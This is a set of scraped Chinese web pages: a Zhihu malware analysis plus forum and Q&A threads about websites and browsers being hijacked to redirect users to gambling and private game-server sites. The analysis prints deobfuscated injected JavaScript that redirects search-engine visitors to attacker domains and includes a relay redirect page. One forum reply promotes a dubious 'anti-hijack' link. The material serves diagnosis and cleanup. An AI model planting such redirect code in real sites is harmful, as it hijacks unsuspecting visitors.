202被浏览19,277分享邀请回答zhuanlan.zhihu.com/fooying/然后下来针对你这个网站做下分析：一般出现这种情况是因为页面存在有问题的js，所以要处理这个问题先来看看你页面的代码，直接搜索载入的js，然后一个个打开看看，很容易在在你页面找到了该链接：打开在最底部可以看到一串代码，明显就是有问题的代码是经过混淆处理的，总共四部分，分别一步步反处理下（直接在Chrome控制台运行就可以了，我直接贴图，或者其他方式，不建议用这种方式，比如在分析挂马代码，直接运行就可能直接中招，因为这个代码无害，为了让大家更直观的看，我就把它运行贴出来）：第一部分，一些关键词替换；第二部分，构造l函数，第三部分，构造o函数，最后部分，主要代码。最终的代码就是：var url = document.referrer;
if (url.indexOf("baidu") &= 0 || url.indexOf("so") &= 0 || url.indexOf("sogou") &= 0 || url.indexOf("google") &= 0 || url.indexOf("youdao") &= 0 || url.indexOf("soso") &= 0 || url.indexOf("bing") &= 0 || url.indexOf("yahoo") &= 0 || url.indexOf("ask") &= 0 || url.indexOf("ebay") &= 0 || url.indexOf("timewarner") &= 0 || url.indexOf("naver") &= 0 || url.indexOf("alibaba") &= 0 || url.indexOf("yandex") &= 0) {
var cnzz_protocol = (("https:" == document.location.protocol) ? " https://" : " http://");
document.write(unescape("%3Cspan id='cnzz_stat_icon_E%3C/span%3E%3Cscript src='" + cnzz_protocol + "s5.cnzz.com/stat.php%3Fid%3D5845505' type='text/javascript'%3E%3C/script%3E"));
window.location.href = "http://jump.myesball.com";
这下应该就很好看懂了，解读下代码：读取referer，如果referer网址中有包含几个站点个关键词，说明是从这些站点跳转过来的，可以看到，支持百度、、sogou、谷歌、有道、soso、binng、雅虎、ask、ebay等，大家可以试试这些站点之外的其他搜索引擎或站点，如中搜，就不会进行跳转。然后获取协议头，同时在页面中写入一段代码，这段代码我们处理下：&span id='cnzz_stat_icon_5845505'&&/span&&script src=' http://s5.cnzz.com/stat.php?id=5845505' type='text/javascript'&&/script&
是一段统计代码最后的代码应该大家很容易看懂，为什么会跳原因就是它了：window.location.href = "http://jump.myesball.com";
页面会先跳转到这个网址，就是一个中转的跳转网址，为什么要弄个中转网址呢？有个很直接的原因是，如果下次要跳转的网址改了，直接改中转网址跳转到的页面就可以了，就不用改代码，因为下次网站的控制权不一定还在手上，但是也许恶意代码还存在，就比如楼主，知道有问题，可能会去修网站漏洞，但是找不到这段代码，就会一直还在。中转的代码也简单，大家一看就懂的： & !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" &
& html xmlns = "http://www.w3.org/1999/xhtml" &
& title & 中转站 & /title&
&script type="text/javascript
"&var cnzz_protocol = (("
https: " == document.location.protocol) ? "
https: //" : " http://");document.write(unescape("%3Cspan id='cnzz_stat_icon_E%3C/span%3E%3Cscript src='" + cnzz_protocol + "s5.cnzz.com/stat.php%3Fid%3Dshow%3Dpic' type='text/javascript'%3E%3C/script%3E"));&/script&
&script type="text/javascript
var _bdhmProtocol = (("
https: " == document.location.protocol) ? "
https: //" : " http://");
document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3Feeab5e45e0909' type='text/javascript'%3E%3C/script%3E")); & /script&
var jumpUrl = 'http:/ / www.808292.com ' ;
window.onload=function(){
window.location=jumpUrl;
简单分析下，就是在页面里写入以下两段代码，应该是统计代码，然后跳转到目标的jumpUrl的网址。&span id='cnzz_stat_icon_5845505'&&/span&&script src=' http://s5.cnzz.com/stat.php?id=5845505&show=pic' type='text/javascript'&&/script&
&script src=' http://hm.baidu.com/h.js?eeab5e45e0909' type='text/javascript'&&/script&
所以代码最终分析就是这样。解决方案：里删除那段恶意代码然后网站应该存在漏洞，所以才会导致被黑，建议用CDN把，比如加速乐（）、安全宝等然后也可以用安全联盟站长平台（）检查下漏洞，把漏洞处理掉把，实在不懂修复漏洞，可以找站长平台的修复专家，具体自己看网站，我就不多说了。---------------欢迎关注我的微信公众号及知乎专栏微信公众号:oxsafe知乎专栏：感谢关注，如果觉得文章不错就分享下 (二维码自动识别)15013 条评论分享收藏感谢收起5添加评论分享收藏感谢收起在线时间118 小时精华0最后登录主题UID121007积分810金钱405 贡献57 人气187 人品2 帖子威望10 版本币0 阅读权限50注册时间
高级会员, 积分 810, 距离下一级还需 190 积分
UID121007积分810金钱405 贡献57 人气187 人品2 威望10 帖子版本币0 阅读权限50注册时间
今天看了王晓辉啊的帖子去找个服打算邪恶下，结果发现里面全是黄F狗就闪人了，可惜当我打开52的时候并没有，以往看到的论坛模板，直接跳转到了某私服网站。。。捣鼓了半天才弄好。。。现在的一条狗实在是恶心啊！！！
把本文推荐给朋友或其他网站上,每次被点击增加您在本站积分: 1人气复制
在线时间478 小时精华0最后登录主题UID580815积分5574金钱2787 贡献235 人气28 人品0 帖子威望24 版本币0 阅读权限90注册时间
论坛元老, 积分 5574, 距离下一级还需 1426 积分
UID580815积分5574金钱2787 贡献235 人气28 人品0 威望24 帖子版本币0 阅读权限90注册时间
我也发现这个问题了，请问是怎么弄好的啊？
在线时间118 小时精华0最后登录主题UID121007积分810金钱405 贡献57 人气187 人品2 帖子威望10 版本币0 阅读权限50注册时间
高级会员, 积分 810, 距离下一级还需 190 积分
UID121007积分810金钱405 贡献57 人气187 人品2 威望10 帖子版本币0 阅读权限50注册时间
把C盘里的Hosts文件里的数据清空！
從 轉 身 回 去 那 一 刻 ， 才 看 到 即 使 努 力 回 到 從 前 也 是 局 外 人 。
在线时间20 小时精华0最后登录主题UID565027积分-36金钱-18 贡献0 人气81 人品0 帖子威望0 版本币0 阅读权限0注册时间
乞丐, 积分 -36, 距离下一级还需 36 积分
UID565027积分-36金钱-18 贡献0 人气81 人品0 威望0 帖子版本币0 阅读权限0注册时间
我草,能不能别发漏洞F的网站,只发版本啊!&&哂纳感来就黄F,真TMB的没意思!
在线时间478 小时精华0最后登录主题UID580815积分5574金钱2787 贡献235 人气28 人品0 帖子威望24 版本币0 阅读权限90注册时间
论坛元老, 积分 5574, 距离下一级还需 1426 积分
UID580815积分5574金钱2787 贡献235 人气28 人品0 威望24 帖子版本币0 阅读权限90注册时间
好的，谢谢了，我去试一下，免得进不了52了
在线时间1065 小时精华0最后登录主题UID126543积分10920金钱5460 贡献214 人气2079 人品1 帖子威望8 版本币0 阅读权限95注册时间
灌水者De克星
骨灰级元老, 积分 10920, 距离下一级还需 9080 积分
UID126543积分10920金钱5460 贡献214 人气2079 人品1 威望8 帖子版本币0 阅读权限95注册时间
我也出现了此情况&&被劫持了 修复过后 还会出现
在线时间2718 小时精华0最后登录主题UID529969积分12556金钱6278 贡献505 人气3642 人品2 帖子威望17 版本币0 阅读权限95注册时间
骨灰级元老, 积分 12556, 距离下一级还需 7444 积分
UID529969积分12556金钱6278 贡献505 人气3642 人品2 威望17 帖子版本币0 阅读权限95注册时间
有恶意插件 所以才会跳转
在线时间478 小时精华0最后登录主题UID580815积分5574金钱2787 贡献235 人气28 人品0 帖子威望24 版本币0 阅读权限90注册时间
论坛元老, 积分 5574, 距离下一级还需 1426 积分
UID580815积分5574金钱2787 贡献235 人气28 人品0 威望24 帖子版本币0 阅读权限90注册时间
Hosts这个文件我找不到啊，在什么地方呢？C盘的什么文件里面
在线时间523 小时精华0最后登录主题UID225377积分5540金钱2770 贡献64 人气8731 人品13 帖子威望3 版本币0 阅读权限90注册时间
天上猪八戒
论坛元老, 积分 5540, 距离下一级还需 1460 积分
UID225377积分5540金钱2770 贡献64 人气8731 人品13 威望3 帖子版本币0 阅读权限90注册时间
直接360急救箱修复就哦了
在线时间13 小时精华0最后登录主题UID617031积分10金钱5 贡献0 人气11 人品0 帖子威望0 版本币0 阅读权限10注册时间
新手上路, 积分 10, 距离下一级还需 40 积分
UID617031积分10金钱5 贡献0 人气11 人品0 威望0 帖子版本币0 阅读权限10注册时间
发漏洞F，进去就被黄了，还是别发了
在线时间1065 小时精华0最后登录主题UID126543积分10920金钱5460 贡献214 人气2079 人品1 帖子威望8 版本币0 阅读权限95注册时间
灌水者De克星
骨灰级元老, 积分 10920, 距离下一级还需 9080 积分
UID126543积分10920金钱5460 贡献214 人气2079 人品1 威望8 帖子版本币0 阅读权限95注册时间
& & 唉 我都各种修复 QQ管家 360杀毒 安全卫士 急救箱 完事能挺个半个小时 又跳转了 我才把系统恢复了一下 悲哀了
在线时间149 小时精华0最后登录主题UID537881积分1624金钱812 贡献7 人气3189 人品1 帖子威望0 版本币0 阅读权限70注册时间
金牌会员, 积分 1624, 距离下一级还需 1376 积分
UID537881积分1624金钱812 贡献7 人气3189 人品1 威望0 帖子版本币0 阅读权限70注册时间
刚才我直接跳转到找私服网站。。我这个郁闷。。
现在才打开·
在线时间20 小时精华0最后登录主题UID308458积分972金钱486 贡献7 人气2 人品2 帖子威望1 版本币0 阅读权限50注册时间
高级会员, 积分 972, 距离下一级还需 28 积分
UID308458积分972金钱486 贡献7 人气2 人品2 威望1 帖子版本币0 阅读权限50注册时间
我的也是啊 只能360了
在线时间13 小时精华0最后登录主题UID622790积分120金钱60 贡献0 人气6 人品0 帖子威望0 版本币0 阅读权限20注册时间
注册会员, 积分 120, 距离下一级还需 80 积分
UID622790积分120金钱60 贡献0 人气6 人品0 威望0 帖子版本币0 阅读权限20注册时间
靠，我经常这样 老是跳到别的传奇发布网站
在线时间75 小时精华0最后登录主题UID10494积分518金钱259 贡献5 人气0 人品0 帖子威望5 版本币0 阅读权限50注册时间
高级会员, 积分 518, 距离下一级还需 482 积分
UID10494积分518金钱259 贡献5 人气0 人品0 威望5 帖子版本币0 阅读权限50注册时间
发漏洞F，进去就被黄了，还是别发了
在线时间514 小时精华0最后登录主题UID500289积分3746金钱1873 贡献4 人气31 人品1 帖子威望0 版本币0 阅读权限90注册时间
论坛元老, 积分 3746, 距离下一级还需 3254 积分
UID500289积分3746金钱1873 贡献4 人气31 人品1 威望0 帖子版本币0 阅读权限90注册时间
重装吧，各种修复好像都搞不定
在线时间84 小时精华0最后登录主题UID381173积分744金钱372 贡献16 人气9 人品0 帖子威望0 版本币0 阅读权限50注册时间
高级会员, 积分 744, 距离下一级还需 256 积分
UID381173积分744金钱372 贡献16 人气9 人品0 威望0 帖子版本币0 阅读权限50注册时间
是啊 我的也是这种情况
在线时间176 小时精华0最后登录主题UID611254积分1368金钱684 贡献2 人气6 人品1 帖子威望1 版本币0 阅读权限70注册时间
金牌会员, 积分 1368, 距离下一级还需 1632 积分
UID611254积分1368金钱684 贡献2 人气6 人品1 威望1 帖子版本币0 阅读权限70注册时间
好象都有这个毛病
在线时间1137 小时精华0最后登录主题UID468246积分41906金钱20953 贡献538 人气15498 人品10 帖子威望35 版本币0 阅读权限190注册时间
网瘾少年符大大
UID468246积分41906金钱20953 贡献538 人气15498 人品10 威望35 帖子版本币0 阅读权限190注册时间
我也是这样的
在线时间460 小时精华0最后登录主题UID594271积分2044金钱1022 贡献4 人气1281 人品0 帖子威望0 版本币0 阅读权限70注册时间
金牌会员, 积分 2044, 距离下一级还需 956 积分
UID594271积分2044金钱1022 贡献4 人气1281 人品0 威望0 帖子版本币0 阅读权限70注册时间
我的也是，问题不大，关掉就可以了，哈哈哈，别搞那么复杂把系统弄没了！！！！！！！！
办理帅哥证50元
菜鸟认真学习勋章
菜鸟认真学习勋章
积极分子勋章
勋章工本费30元
对论坛提出建议并且采纳
论坛富翁勋章
有钱就要秀出来
3D乐翻天F大奖获得者
获得3D乐翻天F奖励
52wpe荣誉版主
担任论坛版主一个月以上，且无过错辞职的。
权威公证，只要100元
宣传勋章(勿刷贡献，谢谢合作)，论坛荣誉的象征
三周年庆典勋章
三周年庆典勋章
我们会铭记你每一份付出
正式版主勋章
乐于助人和在论坛发布真实有用的基础教程者可得。
虽然贵了点，不过物以稀为贵为什么我开传奇私服网站老是弹到另外一个网站上？？？？？？？？？_百度知道
为什么我开传奇私服网站老是弹到另外一个网站上？？？？？？？？？
我有更好的答案
因为这种网页游戏一般都有广告，从新刷新就可以解决
这问题好解决怎么告诉你，你的.................q..................是纳尼
中了那个网站的木马。建议还原系统。我搞了很久够搞不定
360边上有个IE锁定的就不会改动了
不行啊，还是一样的 我就是开传奇网站很多网站老是弹到一个网站。
杀毒，修复360
IE被篡改，用个360或者什么卫士修复下IE
lE怎么弄啊 能不能说清楚点
其他4条回答
为您推荐：
其他类似问题
您可能关注的内容
换一换
回答问题，赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。传奇登陆器劫持网页，点开一些辅助网页自动跳转到其他网页！ - 『病毒救援区』
- 吾爱破解 - LCG - LSG |安卓破解|病毒分析|破解软件|www.52pojie.cn
后使用快捷导航没有帐号？
只需一步，快速开始
请完成以下验证码
请完成以下验证码
查看: 3530|回复: 17
传奇登陆器劫持网页，点开一些辅助网页自动跳转到其他网页！
阅读权限10
传奇登陆器劫持网页，点开一些辅助网页自动跳转到其他网页！
网上也有解决办法，但是是用急救箱去扫全盘，电脑上很多易语言编写的程序，所以不想全盘扫，扫完很麻烦。有没有大神帮我解决一下！！！！！！
发帖求助前要善用【】功能，那里可能会有你要找的答案；如果你在论坛求助问题，并且已经从坛友或者管理的回复中解决了问题，请把帖子分类或者标题加上【已解决】；如何回报帮助你解决问题的坛友，一个好办法就是给对方加【热心】和【CB】，加分不会扣除自己的积分，做一个热心并受欢迎的人！
阅读权限10
还有让重置路由的 真是菜鸡
最好的办法就是360全盘扫，很多EXE程序都被感染了，大多数的修复完都能正常运行，楼主不要怕，现在所有的传奇私服，注意是所有，只要你运行了登陆器就会感染木马，传奇这个游戏早费了，楼主还是跟上时代脚步lol把
发帖求助前要善用【】功能，那里可能会有你要找的答案；如果你在论坛求助问题，并且已经从坛友或者管理的回复中解决了问题，请把帖子分类或者标题加上【已解决】；如何回报帮助你解决问题的坛友，一个好办法就是给对方加【热心】和【CB】，加分不会扣除自己的积分，做一个热心并受欢迎的人！
阅读权限10
楼主若是打不开私服发布站，请打开这个链接& && &111.99458.net& && & 这是防劫持私服发布站。
辅助都打不开。想去论坛找两个版本自己架设，论坛也进不去....
发帖求助前要善用【】功能，那里可能会有你要找的答案；如果你在论坛求助问题，并且已经从坛友或者管理的回复中解决了问题，请把帖子分类或者标题加上【已解决】；如何回报帮助你解决问题的坛友，一个好办法就是给对方加【热心】和【CB】，加分不会扣除自己的积分，做一个热心并受欢迎的人！
阅读权限10
有时候是劫持了路由器，重置路由就可以了。急救箱毛用没有。
发帖求助前要善用【】功能，那里可能会有你要找的答案；如果你在论坛求助问题，并且已经从坛友或者管理的回复中解决了问题，请把帖子分类或者标题加上【已解决】；如何回报帮助你解决问题的坛友，一个好办法就是给对方加【热心】和【CB】，加分不会扣除自己的积分，做一个热心并受欢迎的人！
阅读权限10
有时候是劫持了路由器，重置路由就可以了。急救箱毛用没有。
我用吾爱的修复网页劫持也没有用
发帖求助前要善用【】功能，那里可能会有你要找的答案；如果你在论坛求助问题，并且已经从坛友或者管理的回复中解决了问题，请把帖子分类或者标题加上【已解决】；如何回报帮助你解决问题的坛友，一个好办法就是给对方加【热心】和【CB】，加分不会扣除自己的积分，做一个热心并受欢迎的人！
阅读权限10
我用吾爱的修复网页劫持也没有用
当然没有用了，怎么没用我不清楚，反正我试过，网上只要是有解决的办法我都试过了，结果都不行。唯一可行办法：格盘做系统+重置路由。
发帖求助前要善用【】功能，那里可能会有你要找的答案；如果你在论坛求助问题，并且已经从坛友或者管理的回复中解决了问题，请把帖子分类或者标题加上【已解决】；如何回报帮助你解决问题的坛友，一个好办法就是给对方加【热心】和【CB】，加分不会扣除自己的积分，做一个热心并受欢迎的人！
阅读权限10
楼主若是打不开私服发布站，请打开这个链接& && &111.99458.net& && & 这是防劫持私服发布站。
发帖求助前要善用【】功能，那里可能会有你要找的答案；如果你在论坛求助问题，并且已经从坛友或者管理的回复中解决了问题，请把帖子分类或者标题加上【已解决】；如何回报帮助你解决问题的坛友，一个好办法就是给对方加【热心】和【CB】，加分不会扣除自己的积分，做一个热心并受欢迎的人！
阅读权限10
楼主若是打不开私服发布站，请打开这个链接& && &111.99458.net& && & 这是防劫持私服发布站。
就是跳这个网页。。。。。
发帖求助前要善用【】功能，那里可能会有你要找的答案；如果你在论坛求助问题，并且已经从坛友或者管理的回复中解决了问题，请把帖子分类或者标题加上【已解决】；如何回报帮助你解决问题的坛友，一个好办法就是给对方加【热心】和【CB】，加分不会扣除自己的积分，做一个热心并受欢迎的人！
阅读权限10
活该.....................
怎么就活该了呢。。。大哥
发帖求助前要善用【】功能，那里可能会有你要找的答案；如果你在论坛求助问题，并且已经从坛友或者管理的回复中解决了问题，请把帖子分类或者标题加上【已解决】；如何回报帮助你解决问题的坛友，一个好办法就是给对方加【热心】和【CB】，加分不会扣除自己的积分，做一个热心并受欢迎的人！
阅读权限10
就是跳这个网页。。。。。
我不知道说什么了。。。。。。。。
发帖求助前要善用【】功能，那里可能会有你要找的答案；如果你在论坛求助问题，并且已经从坛友或者管理的回复中解决了问题，请把帖子分类或者标题加上【已解决】；如何回报帮助你解决问题的坛友，一个好办法就是给对方加【热心】和【CB】，加分不会扣除自己的积分，做一个热心并受欢迎的人！
阅读权限10
辅助都打不开。想去论坛找两个版本自己架设，论坛也进不去....
那就对了，我也遇到过这种情况，只能格盘+重置路由了。
发帖求助前要善用【】功能，那里可能会有你要找的答案；如果你在论坛求助问题，并且已经从坛友或者管理的回复中解决了问题，请把帖子分类或者标题加上【已解决】；如何回报帮助你解决问题的坛友，一个好办法就是给对方加【热心】和【CB】，加分不会扣除自己的积分，做一个热心并受欢迎的人！
免责声明：吾爱破解所发布的一切破解补丁、注册机和注册信息及软件的解密分析文章仅限用于学习和研究目的；不得将上述内容用于商业或者非法用途，否则，一切后果请用户自负。本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑中彻底删除上述内容。如果您喜欢该程序，请支持正版软件，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。
( 京ICP备号 | 京公网安备 87号 )
Powered by Discuz!
Comsenz Inc.